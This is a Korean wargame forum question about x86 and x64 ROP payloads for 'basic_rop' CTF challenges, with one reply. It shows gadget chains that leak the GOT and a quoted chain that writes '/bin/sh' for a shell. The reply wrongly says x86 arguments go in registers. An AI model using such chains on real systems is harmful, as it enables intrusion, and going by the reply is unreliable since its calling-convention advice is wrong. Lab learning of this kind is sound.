페이로드 관련 질문
basic_rop_x64 문제를 풀었을 떄 사용한 페이로드의 경우
payload = b'1'*0x48
# write(1, read_got, 0)
payload += p64(ret_rdi) + p64(1)
payload += p64(ret_rsi_r15) + p64(read_got) + p64(8)
payload += p64(write_plt)
# return to mainS
payload += p64(main)
위와 같이 구성했습니다. ret_rdi를 통해 1을 rdi에 pop하고, ret_rsi_rsi를 통해 rsi에 read_got의 주소를, r15에 8을 넣고 write_plt 함수를 호출하여 read_got 주소를 읽었습니다.
basic_rop_x86 문제를 풀 때도 마찬가지로 pop을 3번 할 수 있는 코드 가젯을 찾고 활용하였습니다.
ret_esi_edi_ebp = re.find_gadget(['pop esi', 'pop edi', 'pop ebp', 'ret'])[0]
#write(1 , read_got, 4)
payload = b'1' * 0x48
payload += p32(ret_esi_edi_ebp)
payload += p32(1) + p64(read_got) +p32(4)
payload += p32(write_plt)
payload += p32(main)
실행하면 r.recvn(4) 부분에서 값을 받지 못하여 다른 사람들이 풀이한 코드를 확인해보니
# read() 실제 주소 흭득 -> write(1, read@got, 4)
payload += p32(write_plt)
payload += p32(pppr)
payload += p32(1)
payload += p32(read_got)
payload += p32(4)~~~~
# BSS 영역에 "/bin/sh" 쓰기 -> read(0, bss, 8)
payload += p32(read_plt)
위와 같이 write_plt를 먼저 호출하고 코드 가젯을 활용하는 것을 확인했습니다.
질문사항은 다음과 같습니다.
- write_plt와 같은 함수를 호출하려면 3개의 인자를 pop하는 작업이 선행되야 하는게 아닌가요?
- 제가 풀이한 코드가 잘못되었나요?(write_plt 주소를 return하지 않고 제가 작성한 코드의 ret_esi_edi_ebp를 return하면 왜 잘못된건지 모르겠습니다.)
#pwnable
작성자 정보
답변
1
Rasser
워게임: 20
-
32bit하고 64bit하고 함수 콜링 컨벤션이 다릅니다. 해당 블로그 보면 도움될거 같습니다.
https://hg2lee.tistory.com/entry/시스템-Return-Oriented-Programming-ROP-x64-64bit -
p32(read_plt)에 할때도 edi, esi, edx에 pop을 통해 레지스터에 값을 넣어줘야합니다.
write_plt 주소를 return하지 않고 제가 작성한 코드의 ret_esi_edi_ebp를 return하면 왜 잘못된건지 모르겠습니다. <-- 이 부분은 정확히 어떤 의미인지 모르겠습니다.